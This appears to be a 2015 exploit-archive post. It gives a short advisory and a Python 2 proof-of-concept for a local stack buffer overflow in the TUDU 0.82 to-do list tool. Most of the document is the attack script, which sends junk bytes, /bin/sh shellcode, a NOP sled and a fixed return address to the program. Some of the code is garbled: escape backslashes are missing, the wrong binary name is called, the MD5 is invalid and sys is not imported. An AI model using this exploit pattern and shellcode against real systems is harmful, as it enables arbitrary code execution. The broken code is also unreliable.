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TUDU 0.82 Buffer Overflow

Posted on 14 November 2015

# Exploit Author: Juan Sacco - http://www.exploitpack.com <
jsacco@exploitpack.com>
# Program: tudu - Command line hierarchical ToDo list
# Tested on: GNU/Linux - Kali Linux 2.0 x86
#
# Description: TUDU v0.82 and prior is prone to a stack-based buffer
overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://www.cauterized.net/~meskio/tudu
# Kali Linux 2.0 package: pool/main/t/tudu/tudu_0.8.2-1.deb
# MD5: 1dc2s2e9c374c9876b2b02283a9f5243

import os,subprocess
def run():
 try:
 print "# TUDU v0.82 Stack-Based Overflow by Juan Sacco"
 print "# It's Fuzzing time on unusable exploits"
 print "# This exploit is for educational purposes only"
 # Basic structure: JUNK + SHELLCODE + NOPS + EIP

 junk = "x41"*10
 shellcode = "x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99
xb0x0bxcdx80"
 nops = "x90"*124
 eip = "x60xd3xffxbf"
 subprocess.call(["tack",' ', junk + shellcode + nops + eip])

 except OSError as e:
 if e.errno == os.errno.ENOENT:
 print "TUDU not found!"
 else:
 print "Error executing exploit"
 raise

def howtousage():
 print "Sorry, something went wrong"
 sys.exit(-1)

if __name__ == '__main__':
 try:
 print "Exploit TUDU 0.82 Local Overflow Exploit"
 print "Author: Juan Sacco"
 except IndexError:
 howtousage()
run()

 

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